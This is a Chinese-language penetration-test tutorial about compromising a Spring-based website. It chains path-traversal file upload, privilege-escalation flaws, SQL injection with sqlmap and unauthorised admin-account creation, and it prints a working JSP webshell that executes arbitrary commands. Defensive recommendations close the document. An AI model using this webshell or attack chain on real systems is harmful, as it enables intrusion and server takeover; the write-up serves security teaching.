某平台的一次简单渗透测试记录
字数 1425 2025-08-24 23:51:25

某平台渗透测试教学文档

目标系统

  • 目标网站:www.target.net
  • 系统框架:Spring框架

渗透测试流程

  1. 信息收集
  2. 目录扫描
  3. 漏洞探测
  4. 权限提升
  5. 获取控制

详细测试过程

1. 信息收集与目录扫描

  • 使用目录扫描工具对目标进行扫描
  • 发现敏感目录较少,信息有限
  • 使用Burp Suite对网站流程进行全面抓包分析

2. 文件上传漏洞发现

  • 发现图片上传接口:/webapp/test/uploadFile/
  • 测试发现:
    • 无任何过滤措施,可直接上传任意文件
    • 当前上传目录不解析上传的文件
    • 通过projectKey参数控制上传路径
    • 存在目录遍历漏洞,可使用../../../../进行跨目录上传

3. 越权访问漏洞

  • 发现接口:/detail.shtml?key={{id}}
  • 测试结果:
    • 存在水平越权(相同权限用户可访问彼此数据)
    • 无SQL注入漏洞
    • 当参数为空时返回错误页面,暴露Spring框架信息

4. 敏感信息泄露

  • 使用Spring相关接口路由字典进行扫描
  • 发现以下敏感信息:
    • Druid监控页面(但无未授权访问和弱口令漏洞)
    • Swagger API文档
    • 通过猜测参数teamId可查看所有团队信息(越权访问)

5. SQL注入漏洞

  • 在Swagger发现的接口中存在SQL注入
  • 测试方法:
    • 猜测参数名
    • 单引号测试触发报错
    • 使用SQLmap自动化利用
  • 通过注入获取到:
    • 网站接口配置信息
    • 数据库信息(未找到管理员账号密码)

6. 越权添加用户

  • 利用从SQL注入获取的接口信息
  • 在Burp Suite中重放测试
  • 发现可越权添加/编辑用户的接口
  • 成功添加新管理员账号并登录系统

7. 任意文件上传利用

  • 结合SQL注入获取的真实路径信息:/usr/local/test/webapps/ROOT/WEB-INF/classes/mappings/base-mapper.xml
  • 修改projectKey参数值,使用../../../../跨目录上传Webshell
  • 上传路径:网站根目录

8. Webshell选择问题

  • 测试发现:
    • 冰蝎、哥斯拉的Webshell无法正常解析
    • 使用带密码回显的JSP马成功
  • 成功Webshell代码示例:
<%
    if("admin".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

关键知识点总结

  1. 文件上传漏洞利用

    • 注意上传路径控制参数
    • 结合目录遍历漏洞实现任意文件上传
    • 需要获取网站真实路径才能有效利用
  2. 越权访问测试

    • 水平越权(相同权限用户间)
    • 垂直越权(低权限用户获取高权限功能)
    • 参数删除/修改测试可暴露错误信息
  3. SQL注入利用

    • 参数猜测技术
    • 单引号测试法
    • SQLmap自动化利用
    • 通过注入获取系统配置信息
  4. Webshell选择

    • 不同环境对Webshell的兼容性不同
    • 简单回显型Webshell可能更可靠
    • 密码保护防止被他人利用
  5. 信息收集重要性

    • 框架识别(Spring)
    • 接口文档发现(Swagger)
    • 监控页面发现(Druid)
    • 真实路径获取是成功关键

防御建议

  1. 文件上传功能:

    • 严格限制上传文件类型
    • 使用随机生成文件名和路径
    • 禁止目录遍历符号
  2. 权限控制:

    • 实施严格的权限验证
    • 对每个请求进行权限检查
    • 避免水平越权
  3. SQL注入防护:

    • 使用预编译语句
    • 实施参数化查询
    • 输入验证和过滤
  4. 敏感信息保护:

    • 限制Swagger等接口文档的访问
    • 监控页面设置强认证
    • 避免在错误信息中泄露系统细节
  5. 系统安全:

    • 定期安全审计
    • 最小权限原则
    • 关键操作日志记录
某平台渗透测试教学文档 目标系统 目标网站:www.target.net 系统框架:Spring框架 渗透测试流程 信息收集 目录扫描 漏洞探测 权限提升 获取控制 详细测试过程 1. 信息收集与目录扫描 使用目录扫描工具对目标进行扫描 发现敏感目录较少,信息有限 使用Burp Suite对网站流程进行全面抓包分析 2. 文件上传漏洞发现 发现图片上传接口: /webapp/test/uploadFile/ 测试发现: 无任何过滤措施,可直接上传任意文件 当前上传目录不解析上传的文件 通过 projectKey 参数控制上传路径 存在目录遍历漏洞,可使用 ../../../../ 进行跨目录上传 3. 越权访问漏洞 发现接口: /detail.shtml?key={{id}} 测试结果: 存在水平越权(相同权限用户可访问彼此数据) 无SQL注入漏洞 当参数为空时返回错误页面,暴露Spring框架信息 4. 敏感信息泄露 使用Spring相关接口路由字典进行扫描 发现以下敏感信息: Druid监控页面(但无未授权访问和弱口令漏洞) Swagger API文档 通过猜测参数 teamId 可查看所有团队信息(越权访问) 5. SQL注入漏洞 在Swagger发现的接口中存在SQL注入 测试方法: 猜测参数名 单引号测试触发报错 使用SQLmap自动化利用 通过注入获取到: 网站接口配置信息 数据库信息(未找到管理员账号密码) 6. 越权添加用户 利用从SQL注入获取的接口信息 在Burp Suite中重放测试 发现可越权添加/编辑用户的接口 成功添加新管理员账号并登录系统 7. 任意文件上传利用 结合SQL注入获取的真实路径信息: /usr/local/test/webapps/ROOT/WEB-INF/classes/mappings/base-mapper.xml 修改 projectKey 参数值,使用 ../../../../ 跨目录上传Webshell 上传路径:网站根目录 8. Webshell选择问题 测试发现: 冰蝎、哥斯拉的Webshell无法正常解析 使用带密码回显的JSP马成功 成功Webshell代码示例: 关键知识点总结 文件上传漏洞利用 : 注意上传路径控制参数 结合目录遍历漏洞实现任意文件上传 需要获取网站真实路径才能有效利用 越权访问测试 : 水平越权(相同权限用户间) 垂直越权(低权限用户获取高权限功能) 参数删除/修改测试可暴露错误信息 SQL注入利用 : 参数猜测技术 单引号测试法 SQLmap自动化利用 通过注入获取系统配置信息 Webshell选择 : 不同环境对Webshell的兼容性不同 简单回显型Webshell可能更可靠 密码保护防止被他人利用 信息收集重要性 : 框架识别(Spring) 接口文档发现(Swagger) 监控页面发现(Druid) 真实路径获取是成功关键 防御建议 文件上传功能: 严格限制上传文件类型 使用随机生成文件名和路径 禁止目录遍历符号 权限控制: 实施严格的权限验证 对每个请求进行权限检查 避免水平越权 SQL注入防护: 使用预编译语句 实施参数化查询 输入验证和过滤 敏感信息保护: 限制Swagger等接口文档的访问 监控页面设置强认证 避免在错误信息中泄露系统细节 系统安全: 定期安全审计 最小权限原则 关键操作日志记录